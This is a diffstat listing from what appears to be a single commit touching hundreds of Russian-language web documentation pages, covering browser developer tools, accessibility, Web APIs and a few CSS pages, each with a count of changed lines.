-rw-r--r--files/ru/tools/storage_inspector/index.html4
-rw-r--r--files/ru/tools/style_editor/index.html4
-rw-r--r--files/ru/tools/tools_toolbox/index.html6
-rw-r--r--files/ru/tools/web_audio_editor/index.html14
-rw-r--r--files/ru/tools/web_console/helpers/index.html4
-rw-r--r--files/ru/tools/web_console/index.html20
-rw-r--r--files/ru/tools/web_console/split_console/index.html6
-rw-r--r--files/ru/tools/working_with_iframes/index.html2
-rw-r--r--files/ru/web/accessibility/aria/aria_techniques/index.html2
-rw-r--r--files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html4
-rw-r--r--files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html2
-rw-r--r--files/ru/web/accessibility/aria/index.html8
-rw-r--r--files/ru/web/accessibility/aria/roles/checkbox_role/index.html12
-rw-r--r--files/ru/web/accessibility/index.html2
-rw-r--r--files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html16
-rw-r--r--files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html4
-rw-r--r--files/ru/web/api/abortcontroller/index.html10
-rw-r--r--files/ru/web/api/abortsignal/index.html2
-rw-r--r--files/ru/web/api/abstractworker/index.html2
-rw-r--r--files/ru/web/api/ambient_light_events/index.html10
-rw-r--r--files/ru/web/api/analysernode/getbytefrequencydata/index.html2
-rw-r--r--files/ru/web/api/angle_instanced_arrays/index.html4
-rw-r--r--files/ru/web/api/animation/index.html24
-rw-r--r--files/ru/web/api/attr/index.html10
-rw-r--r--files/ru/web/api/audiobuffer/index.html6
-rw-r--r--files/ru/web/api/audiocontext/createmediaelementsource/index.html4
-rw-r--r--files/ru/web/api/audiocontext/index.html2
-rw-r--r--files/ru/web/api/audionode/index.html6
-rw-r--r--files/ru/web/api/audioparam/setvalueattime/index.html2
-rw-r--r--files/ru/web/api/baseaudiocontext/createpanner/index.html4
-rw-r--r--files/ru/web/api/beacon_api/index.html8
-rw-r--r--files/ru/web/api/beforeinstallpromptevent/index.html2
-rw-r--r--files/ru/web/api/blob/blob/index.html2
-rw-r--r--files/ru/web/api/blob/index.html4
-rw-r--r--files/ru/web/api/blob/slice/index.html4
-rw-r--r--files/ru/web/api/bluetoothremotegattserver/index.html2
-rw-r--r--files/ru/web/api/body/arraybuffer/index.html6
-rw-r--r--files/ru/web/api/body/json/index.html6
-rw-r--r--files/ru/web/api/broadcastchannel/index.html4
-rw-r--r--files/ru/web/api/broadcastchannel/postmessage/index.html2
-rw-r--r--files/ru/web/api/cache/add/index.html2
-rw-r--r--files/ru/web/api/cache/addall/index.html2
-rw-r--r--files/ru/web/api/cache/delete/index.html2
-rw-r--r--files/ru/web/api/cache/index.html16
-rw-r--r--files/ru/web/api/cache/keys/index.html4
-rw-r--r--files/ru/web/api/cache/match/index.html4
-rw-r--r--files/ru/web/api/cachestorage/index.html18
-rw-r--r--files/ru/web/api/canvas_api/a_basic_ray-caster/index.html10
-rw-r--r--files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html2
-rw-r--r--files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html46
-rw-r--r--files/ru/web/api/canvas_api/tutorial/basic_usage/index.html12
-rw-r--r--files/ru/web/api/canvas_api/tutorial/compositing/index.html14
-rw-r--r--files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html36
-rw-r--r--files/ru/web/api/canvas_api/tutorial/drawing_text/index.html2
-rw-r--r--files/ru/web/api/canvas_api/tutorial/index.html4
-rw-r--r--files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html8
-rw-r--r--files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html16
-rw-r--r--files/ru/web/api/canvas_api/tutorial/transformations/index.html8
-rw-r--r--files/ru/web/api/canvas_api/tutorial/using_images/index.html22
-rw-r--r--files/ru/web/api/canvascapturemediastreamtrack/index.html2
-rw-r--r--files/ru/web/api/canvasgradient/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/arc/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/arcto/index.html6
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/closepath/index.html4
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html6
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html16
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/fill/index.html8
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html4
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/filltext/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/font/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html8
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/index.html36
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html6
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/lineto/index.html4
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/rect/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/restore/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/rotate/index.html4
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/stroke/index.html4
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html2
-rw-r--r--files/ru/web/api/canvasrenderingcontext2d/textalign/index.html2
-rw-r--r--files/ru/web/api/cdatasection/index.html2
-rw-r--r--files/ru/web/api/characterdata/index.html2
-rw-r--r--files/ru/web/api/childnode/index.html2
-rw-r--r--files/ru/web/api/childnode/remove/index.html4
-rw-r--r--files/ru/web/api/clients/index.html2
-rw-r--r--files/ru/web/api/clients/openwindow/index.html4
-rw-r--r--files/ru/web/api/clipboardevent/index.html2
-rw-r--r--files/ru/web/api/comment/index.html2
-rw-r--r--files/ru/web/api/console/count/index.html6
-rw-r--r--files/ru/web/api/console/countreset/index.html20
-rw-r--r--files/ru/web/api/console/group/index.html6
-rw-r--r--files/ru/web/api/console/index.html6
-rw-r--r--files/ru/web/api/console/time/index.html2
-rw-r--r--files/ru/web/api/console/timelog/index.html2
-rw-r--r--files/ru/web/api/console/trace/index.html2
-rw-r--r--files/ru/web/api/credential_management_api/index.html16
-rw-r--r--files/ru/web/api/css_object_model/index.html2
-rw-r--r--files/ru/web/api/css_object_model/managing_screen_orientation/index.html6
-rw-r--r--files/ru/web/api/cssrule/index.html2
-rw-r--r--files/ru/web/api/cssstyledeclaration/index.html6
-rw-r--r--files/ru/web/api/datatransfer/index.html8
-rw-r--r--files/ru/web/api/document/activeelement/index.html2
-rw-r--r--files/ru/web/api/document/alinkcolor/index.html2
-rw-r--r--files/ru/web/api/document/cookie/index.html4
-rw-r--r--files/ru/web/api/document/createattribute/index.html2
-rw-r--r--files/ru/web/api/document/createdocumentfragment/index.html2
-rw-r--r--files/ru/web/api/document/createelement/index.html12
-rw-r--r--files/ru/web/api/document/createtextnode/index.html2
-rw-r--r--files/ru/web/api/document/document/index.html2
-rw-r--r--files/ru/web/api/document/execcommand/index.html20
-rw-r--r--files/ru/web/api/document/getelementsbyclassname/index.html8
-rw-r--r--files/ru/web/api/document/getelementsbytagname/index.html2
-rw-r--r--files/ru/web/api/document/head/index.html2
-rw-r--r--files/ru/web/api/document/importnode/index.html4
-rw-r--r--files/ru/web/api/document/index.html2
-rw-r--r--files/ru/web/api/document/keypress_event/index.html2
-rw-r--r--files/ru/web/api/document/queryselector/index.html4
-rw-r--r--files/ru/web/api/document/readystate/index.html6
-rw-r--r--files/ru/web/api/document/referrer/index.html4
-rw-r--r--files/ru/web/api/document/scroll_event/index.html4
-rw-r--r--files/ru/web/api/document_object_model/events/index.html8
-rw-r--r--files/ru/web/api/document_object_model/examples/index.html2
-rw-r--r--files/ru/web/api/document_object_model/introduction/index.html8
-rw-r--r--files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html6
-rw-r--r--files/ru/web/api/documentfragment/index.html4
-rw-r--r--files/ru/web/api/domhighrestimestamp/index.html2
-rw-r--r--files/ru/web/api/domimplementation/createhtmldocument/index.html4
-rw-r--r--files/ru/web/api/domimplementation/index.html12
-rw-r--r--files/ru/web/api/domparser/index.html2
-rw-r--r--files/ru/web/api/domtokenlist/replace/index.html2
-rw-r--r--files/ru/web/api/element/attachshadow/index.html6
-rw-r--r--files/ru/web/api/element/blur_event/index.html2
-rw-r--r--files/ru/web/api/element/classlist/index.html2
-rw-r--r--files/ru/web/api/element/clientleft/index.html6
-rw-r--r--files/ru/web/api/element/clienttop/index.html2
-rw-r--r--files/ru/web/api/element/closest/index.html2
-rw-r--r--files/ru/web/api/element/error_event/index.html2
-rw-r--r--files/ru/web/api/element/getboundingclientrect/index.html4
-rw-r--r--files/ru/web/api/element/getelementsbyclassname/index.html4
-rw-r--r--files/ru/web/api/element/getelementsbytagname/index.html6
-rw-r--r--files/ru/web/api/element/hasattribute/index.html2
-rw-r--r--files/ru/web/api/element/index.html22
-rw-r--r--files/ru/web/api/element/innerhtml/index.html8
-rw-r--r--files/ru/web/api/element/insertadjacenttext/index.html2
-rw-r--r--files/ru/web/api/element/mouseenter_event/index.html2
-rw-r--r--files/ru/web/api/element/mouseleave_event/index.html2
-rw-r--r--files/ru/web/api/element/removeattribute/index.html2
-rw-r--r--files/ru/web/api/element/scrollheight/index.html2
-rw-r--r--files/ru/web/api/element/scrolltop/index.html2
-rw-r--r--files/ru/web/api/element/setattribute/index.html6
-rw-r--r--files/ru/web/api/element/slot/index.html2
-rw-r--r--files/ru/web/api/elementcssinlinestyle/style/index.html6
-rw-r--r--files/ru/web/api/event/event/index.html2
-rw-r--r--files/ru/web/api/event/index.html4
-rw-r--r--files/ru/web/api/event/type/index.html2
-rw-r--r--files/ru/web/api/eventtarget/addeventlistener/index.html16
-rw-r--r--files/ru/web/api/eventtarget/removeeventlistener/index.html4
-rw-r--r--files/ru/web/api/extendableevent/waituntil/index.html2
-rw-r--r--files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html6
-rw-r--r--files/ru/web/api/fetch_api/index.html6
-rw-r--r--files/ru/web/api/fetch_api/using_fetch/index.html12
-rw-r--r--files/ru/web/api/fetchevent/index.html2
-rw-r--r--files/ru/web/api/file/filename/index.html4
-rw-r--r--files/ru/web/api/file/using_files_from_web_applications/index.html26
-rw-r--r--files/ru/web/api/file_and_directory_entries_api/index.html12
-rw-r--r--files/ru/web/api/file_and_directory_entries_api/introduction/index.html6
-rw-r--r--files/ru/web/api/filereader/index.html8
-rw-r--r--files/ru/web/api/filereader/readasarraybuffer/index.html2
-rw-r--r--files/ru/web/api/filereader/readasbinarystring/index.html4
-rw-r--r--files/ru/web/api/fontface/index.html2
-rw-r--r--files/ru/web/api/formdata/append/index.html8
-rw-r--r--files/ru/web/api/formdata/delete/index.html2
-rw-r--r--files/ru/web/api/formdata/formdata/index.html4
-rw-r--r--files/ru/web/api/formdata/get/index.html4
-rw-r--r--files/ru/web/api/formdata/getall/index.html2
-rw-r--r--files/ru/web/api/formdata/index.html4
-rw-r--r--files/ru/web/api/formdata/set/index.html4
-rw-r--r--files/ru/web/api/gamepad/buttons/index.html2
-rw-r--r--files/ru/web/api/gamepad/connected/index.html4
-rw-r--r--files/ru/web/api/gamepad/id/index.html6
-rw-r--r--files/ru/web/api/gamepad/index.html6
-rw-r--r--files/ru/web/api/gamepad/index/index.html4
-rw-r--r--files/ru/web/api/gamepad_api/index.html10
-rw-r--r--files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html6
-rw-r--r--files/ru/web/api/gamepadbutton/index.html4
-rw-r--r--files/ru/web/api/gamepadevent/index.html2
-rw-r--r--files/ru/web/api/geolocation_api/index.html2
-rw-r--r--files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html4
-rw-r--r--files/ru/web/api/geolocationcoordinates/index.html2
-rw-r--r--files/ru/web/api/geolocationpositionerror/index.html2
-rw-r--r--files/ru/web/api/globaleventhandlers/onanimationcancel/index.html4
-rw-r--r--files/ru/web/api/globaleventhandlers/onerror/index.html2
-rw-r--r--files/ru/web/api/globaleventhandlers/onloadend/index.html2
-rw-r--r--files/ru/web/api/gyroscope/index.html2
-rw-r--r--files/ru/web/api/history/go/index.html8
-rw-r--r--files/ru/web/api/history/index.html8
-rw-r--r--files/ru/web/api/history/state/index.html4
-rw-r--r--files/ru/web/api/history_api/index.html4
-rw-r--r--files/ru/web/api/history_api/working_with_the_history_api/index.html2
-rw-r--r--files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html26
-rw-r--r--files/ru/web/api/html_drag_and_drop_api/index.html8
-rw-r--r--files/ru/web/api/htmlanchorelement/hash/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/hostname/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/href/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/index.html6
-rw-r--r--files/ru/web/api/htmlanchorelement/origin/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/password/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/pathname/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/port/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/protocol/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/search/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/tostring/index.html2
-rw-r--r--files/ru/web/api/htmlanchorelement/username/index.html2
-rw-r--r--files/ru/web/api/htmlareaelement/index.html2
-rw-r--r--files/ru/web/api/htmlaudioelement/audio/index.html4
-rw-r--r--files/ru/web/api/htmlaudioelement/index.html2
-rw-r--r--files/ru/web/api/htmlbasefontelement/index.html4
-rw-r--r--files/ru/web/api/htmlbodyelement/index.html2
-rw-r--r--files/ru/web/api/htmlbuttonelement/index.html6
-rw-r--r--files/ru/web/api/htmlcanvaselement/capturestream/index.html2
-rw-r--r--files/ru/web/api/htmlcanvaselement/getcontext/index.html6
-rw-r--r--files/ru/web/api/htmlcanvaselement/toblob/index.html4
-rw-r--r--files/ru/web/api/htmldialogelement/index.html2
-rw-r--r--files/ru/web/api/htmlelement/accesskey/index.html4
-rw-r--r--files/ru/web/api/htmlelement/hidden/index.html2
-rw-r--r--files/ru/web/api/htmlelement/offsetheight/index.html2
-rw-r--r--files/ru/web/api/htmlelement/transitionend_event/index.html8
-rw-r--r--files/ru/web/api/htmlimageelement/image/index.html2
-rw-r--r--files/ru/web/api/htmlinputelement/setselectionrange/index.html6
-rw-r--r--files/ru/web/api/htmlmediaelement/duration/index.html2
-rw-r--r--files/ru/web/api/htmlmediaelement/index.html18
-rw-r--r--files/ru/web/api/htmlmediaelement/seeking_event/index.html2
-rw-r--r--files/ru/web/api/htmlorforeignelement/dataset/index.html4
-rw-r--r--files/ru/web/api/htmlorforeignelement/nonce/index.html2
-rw-r--r--files/ru/web/api/htmlscriptelement/index.html2
-rw-r--r--files/ru/web/api/htmltableelement/index.html6
-rw-r--r--files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html4
-rw-r--r--files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html6
-rw-r--r--files/ru/web/api/indexeddb_api/index.html16
-rw-r--r--files/ru/web/api/indexeddb_api/using_indexeddb/index.html20
-rw-r--r--files/ru/web/api/inputevent/index.html2
-rw-r--r--files/ru/web/api/intersection_observer_api/index.html10
-rw-r--r--files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html26
-rw-r--r--files/ru/web/api/intersectionobserver/index.html2
-rw-r--r--files/ru/web/api/keyboardevent/altkey/index.html2
-rw-r--r--files/ru/web/api/keyboardevent/index.html2
-rw-r--r--files/ru/web/api/keyboardevent/key/key_values/index.html60
-rw-r--r--files/ru/web/api/localmediastream/index.html2
-rw-r--r--files/ru/web/api/location/index.html2
-rw-r--r--files/ru/web/api/media_session_api/index.html4
-rw-r--r--files/ru/web/api/mediadevices/getusermedia/index.html24
-rw-r--r--files/ru/web/api/mediadevices/index.html4
-rw-r--r--files/ru/web/api/mediaerror/code/index.html4
-rw-r--r--files/ru/web/api/mediarecorder/index.html20
-rw-r--r--files/ru/web/api/mediarecorder/mediarecorder/index.html4
-rw-r--r--files/ru/web/api/mediarecorder/ondataavailable/index.html2
-rw-r--r--files/ru/web/api/mediasource/index.html8
-rw-r--r--files/ru/web/api/mediastream_recording_api/index.html4
-rw-r--r--files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html2
-rw-r--r--files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html14
-rw-r--r--files/ru/web/api/mediastreamtrack/index.html2
-rw-r--r--files/ru/web/api/mediatrackconstraints/echocancellation/index.html2
-rw-r--r--files/ru/web/api/mouseevent/index.html2
-rw-r--r--files/ru/web/api/mouseevent/screenx/index.html2
-rw-r--r--files/ru/web/api/mutationobserver/index.html6
-rw-r--r--files/ru/web/api/namednodemap/index.html10
-rw-r--r--files/ru/web/api/navigation_timing_api/index.html2
-rw-r--r--files/ru/web/api/navigator/battery/index.html2
-rw-r--r--files/ru/web/api/navigator/cookieenabled/index.html2
-rw-r--r--files/ru/web/api/navigator/geolocation/index.html2
-rw-r--r--files/ru/web/api/navigator/getgamepads/index.html2
-rw-r--r--files/ru/web/api/navigator/getvrdisplays/index.html2
-rw-r--r--files/ru/web/api/navigator/index.html6
-rw-r--r--files/ru/web/api/navigator/mediadevices/index.html2
-rw-r--r--files/ru/web/api/navigator/registerprotocolhandler/index.html2
-rw-r--r--files/ru/web/api/navigator/vibrate/index.html4
-rw-r--r--files/ru/web/api/navigatorid/platform/index.html2
-rw-r--r--files/ru/web/api/navigatorid/product/index.html6
-rw-r--r--files/ru/web/api/navigatorid/taintenabled/index.html2
-rw-r--r--files/ru/web/api/navigatorid/useragent/index.html2
-rw-r--r--files/ru/web/api/navigatorlanguage/language/index.html2
-rw-r--r--files/ru/web/api/navigatorlanguage/languages/index.html2
-rw-r--r--files/ru/web/api/navigatoronline/online/index.html10
-rw-r--r--files/ru/web/api/navigatorplugins/index.html2
-rw-r--r--files/ru/web/api/navigatorplugins/javaenabled/index.html4
-rw-r--r--files/ru/web/api/node/appendchild/index.html2
-rw-r--r--files/ru/web/api/node/clonenode/index.html6
-rw-r--r--files/ru/web/api/node/comparedocumentposition/index.html2
-rw-r--r--files/ru/web/api/node/getuserdata/index.html2
-rw-r--r--files/ru/web/api/node/index.html18
-rw-r--r--files/ru/web/api/node/insertbefore/index.html10
-rw-r--r--files/ru/web/api/node/isdefaultnamespace/index.html4
-rw-r--r--files/ru/web/api/node/isequalnode/index.html2
-rw-r--r--files/ru/web/api/node/issupported/index.html4
-rw-r--r--files/ru/web/api/node/localname/index.html2
-rw-r--r--files/ru/web/api/node/lookupnamespaceuri/index.html4
-rw-r--r--files/ru/web/api/node/lookupprefix/index.html4
-rw-r--r--files/ru/web/api/node/namespaceuri/index.html12
-rw-r--r--files/ru/web/api/node/nextsibling/index.html2
-rw-r--r--files/ru/web/api/node/nodevalue/index.html2
-rw-r--r--files/ru/web/api/node/parentnode/index.html4
-rw-r--r--files/ru/web/api/node/prefix/index.html2
-rw-r--r--files/ru/web/api/node/removechild/index.html8
-rw-r--r--files/ru/web/api/node/replacechild/index.html12
-rw-r--r--files/ru/web/api/node/textcontent/index.html4
-rw-r--r--files/ru/web/api/nodelist/index.html2
-rw-r--r--files/ru/web/api/notification/index.html14
-rw-r--r--files/ru/web/api/notifications_api/index.html4
-rw-r--r--files/ru/web/api/page_visibility_api/index.html4
-rw-r--r--files/ru/web/api/pannernode/index.html16
-rw-r--r--files/ru/web/api/parentnode/prepend/index.html2
-rw-r--r--files/ru/web/api/performance/index.html6
-rw-r--r--files/ru/web/api/performance/now/index.html2
-rw-r--r--files/ru/web/api/pointer_lock_api/index.html4
-rw-r--r--files/ru/web/api/positionoptions/index.html2
-rw-r--r--files/ru/web/api/push_api/index.html6
-rw-r--r--files/ru/web/api/pushmanager/subscribe/index.html4
-rw-r--r--files/ru/web/api/range/surroundcontents/index.html2
-rw-r--r--files/ru/web/api/response/index.html2
-rw-r--r--files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html8
-rw-r--r--files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html4
-rw-r--r--files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html4
-rw-r--r--files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html6
-rw-r--r--files/ru/web/api/rtcpeerconnection/index.html46
-rw-r--r--files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html2
-rw-r--r--files/ru/web/api/screen_capture_api/using_screen_capture/index.html14
-rw-r--r--files/ru/web/api/selection/tostring/index.html2
-rw-r--r--files/ru/web/api/server-sent_events/using_server-sent_events/index.html10
-rw-r--r--files/ru/web/api/service_worker_api/index.html12
-rw-r--r--files/ru/web/api/service_worker_api/using_service_workers/index.html38
-rw-r--r--files/ru/web/api/serviceworker/scripturl/index.html2
-rw-r--r--files/ru/web/api/serviceworkercontainer/register/index.html8
-rw-r--r--files/ru/web/api/serviceworkerregistration/pushmanager/index.html2
-rw-r--r--files/ru/web/api/serviceworkerregistration/shownotification/index.html2
-rw-r--r--files/ru/web/api/serviceworkerstate/index.html2
-rw-r--r--files/ru/web/api/sharedworker/index.html2
-rw-r--r--files/ru/web/api/speechgrammar/index.html2
-rw-r--r--files/ru/web/api/speechrecognition/index.html14
-rw-r--r--files/ru/web/api/speechsynthesisutterance/index.html6
-rw-r--r--files/ru/web/api/storage/clear/index.html4
-rw-r--r--files/ru/web/api/storage/getitem/index.html4
-rw-r--r--files/ru/web/api/storage/key/index.html2
-rw-r--r--files/ru/web/api/storage/length/index.html2
-rw-r--r--files/ru/web/api/storage/removeitem/index.html4
-rw-r--r--files/ru/web/api/storage/setitem/index.html4
-rw-r--r--files/ru/web/api/storagemanager/index.html2
-rw-r--r--files/ru/web/api/streams_api/index.html12
-rw-r--r--files/ru/web/api/svgaelement/index.html2
-rw-r--r--files/ru/web/api/svgaelement/target/index.html2
-rw-r--r--files/ru/web/api/svggraphicselement/index.html2
-rw-r--r--files/ru/web/api/svgtextcontentelement/index.html4
-rw-r--r--files/ru/web/api/svgtextelement/index.html4
-rw-r--r--files/ru/web/api/text/index.html4
-rw-r--r--files/ru/web/api/touch_events/index.html16
-rw-r--r--files/ru/web/api/touchevent/index.html4
-rw-r--r--files/ru/web/api/url/createobjecturl/index.html6
-rw-r--r--files/ru/web/api/usb/requestdevice/index.html2
-rw-r--r--files/ru/web/api/vrdisplay/requestpresent/index.html4
-rw-r--r--files/ru/web/api/vrdisplayevent/index.html2
-rw-r--r--files/ru/web/api/vrframedata/index.html2
-rw-r--r--files/ru/web/api/web_animations_api/index.html6
-rw-r--r--files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html56
-rw-r--r--files/ru/web/api/web_audio_api/index.html6
-rw-r--r--files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html22
-rw-r--r--files/ru/web/api/web_authentication_api/index.html14
-rw-r--r--files/ru/web/api/web_speech_api/index.html2
-rw-r--r--files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html46
-rw-r--r--files/ru/web/api/web_storage_api/index.html14
-rw-r--r--files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html16
-rw-r--r--files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html6
-rw-r--r--files/ru/web/api/web_workers_api/using_web_workers/index.html46
-rw-r--r--files/ru/web/api/webgl_api/index.html6
-rw-r--r--files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html24
-rw-r--r--files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html2
-rw-r--r--files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html4
-rw-r--r--files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html24
-rw-r--r--files/ru/web/api/webgl_api/tutorial/index.html4
-rw-r--r--files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html16
-rw-r--r--files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html12
-rw-r--r--files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html16
-rw-r--r--files/ru/web/api/webgl_api/webgl_best_practices/index.html8
-rw-r--r--files/ru/web/api/webglrenderingcontext/activetexture/index.html4
-rw-r--r--files/ru/web/api/webglrenderingcontext/bindtexture/index.html4
-rw-r--r--files/ru/web/api/webglrenderingcontext/compileshader/index.html2
-rw-r--r--files/ru/web/api/webglrenderingcontext/enable/index.html2
-rw-r--r--files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html2
-rw-r--r--files/ru/web/api/webglrenderingcontext/index.html10
-rw-r--r--files/ru/web/api/webglrenderingcontext/shadersource/index.html2
-rw-r--r--files/ru/web/api/webglrenderingcontext/uniform/index.html2
-rw-r--r--files/ru/web/api/webrtc_api/adapter.js/index.html2
-rw-r--r--files/ru/web/api/webrtc_api/index.html18
-rw-r--r--files/ru/web/api/webrtc_api/session_lifetime/index.html20
-rw-r--r--files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html10
-rw-r--r--files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html2
-rw-r--r--files/ru/web/api/webrtc_api/taking_still_photos/index.html16
-rw-r--r--files/ru/web/api/webrtc_api/using_data_channels/index.html20
-rw-r--r--files/ru/web/api/websocket/index.html10
-rw-r--r--files/ru/web/api/websockets_api/index.html2
-rw-r--r--files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html2
-rw-r--r--files/ru/web/api/webvr_api/index.html8
-rw-r--r--files/ru/web/api/webvr_api/using_the_webvr_api/index.html2
-rw-r--r--files/ru/web/api/webvtt_api/index.html6
-rw-r--r--files/ru/web/api/webxr_device_api/index.html2
-rw-r--r--files/ru/web/api/window/beforeunload_event/index.html2
-rw-r--r--files/ru/web/api/window/close/index.html2
-rw-r--r--files/ru/web/api/window/closed/index.html2
-rw-r--r--files/ru/web/api/window/console/index.html2
-rw-r--r--files/ru/web/api/window/crypto/index.html2
-rw-r--r--files/ru/web/api/window/frameelement/index.html2
-rw-r--r--files/ru/web/api/window/getcomputedstyle/index.html6
-rw-r--r--files/ru/web/api/window/getselection/index.html6
-rw-r--r--files/ru/web/api/window/history/index.html6
-rw-r--r--files/ru/web/api/window/index.html48
-rw-r--r--files/ru/web/api/window/innerheight/index.html2
-rw-r--r--files/ru/web/api/window/localstorage/index.html6
-rw-r--r--files/ru/web/api/window/location/index.html4
-rw-r--r--files/ru/web/api/window/mozanimationstarttime/index.html2
-rw-r--r--files/ru/web/api/window/pageyoffset/index.html4
-rw-r--r--files/ru/web/api/window/popstate_event/index.html2
-rw-r--r--files/ru/web/api/window/postmessage/index.html4
-rw-r--r--files/ru/web/api/window/prompt/index.html4
-rw-r--r--files/ru/web/api/window/requestanimationframe/index.html2
-rw-r--r--files/ru/web/api/window/self/index.html2
-rw-r--r--files/ru/web/api/window/sessionstorage/index.html4
-rw-r--r--files/ru/web/api/window/unhandledrejection_event/index.html4
-rw-r--r--files/ru/web/api/windoweventhandlers/onpopstate/index.html2
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/atob/index.html2
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/btoa/index.html2
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html6
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/fetch/index.html6
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/index.html2
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/setinterval/index.html2
-rw-r--r--files/ru/web/api/windoworworkerglobalscope/settimeout/index.html4
-rw-r--r--files/ru/web/api/worker/onmessage/index.html2
-rw-r--r--files/ru/web/api/worker/postmessage/index.html8
-rw-r--r--files/ru/web/api/worker/terminate/index.html4
-rw-r--r--files/ru/web/api/worker/worker/index.html2
-rw-r--r--files/ru/web/api/workerglobalscope/importscripts/index.html4
-rw-r--r--files/ru/web/api/xmlhttprequest/index.html32
-rw-r--r--files/ru/web/api/xmlhttprequest/response/index.html10
-rw-r--r--files/ru/web/api/xmlhttprequest/responsetext/index.html4
-rw-r--r--files/ru/web/api/xmlhttprequest/responsetype/index.html2
-rw-r--r--files/ru/web/api/xmlhttprequest/responseurl/index.html2
-rw-r--r--files/ru/web/api/xmlhttprequest/send/index.html6
-rw-r--r--files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html12
-rw-r--r--files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html2
-rw-r--r--files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html4
-rw-r--r--files/ru/web/api/xmlserializer/index.html2
-rw-r--r--files/ru/web/css/@counter-style/additive-symbols/index.html2
-rw-r--r--files/ru/web/css/@font-face/font-display/index.html12
-rw-r--r--files/ru/web/css/@font-face/index.html6
-rw-r--r--files/ru/web/css/@font-feature-values/index.html4
-rw-r--r--files/ru/web/css/@media/inverted-colors/index.html2
-rw-r--r--files/ru/web/css/@media/orientation/index.html2
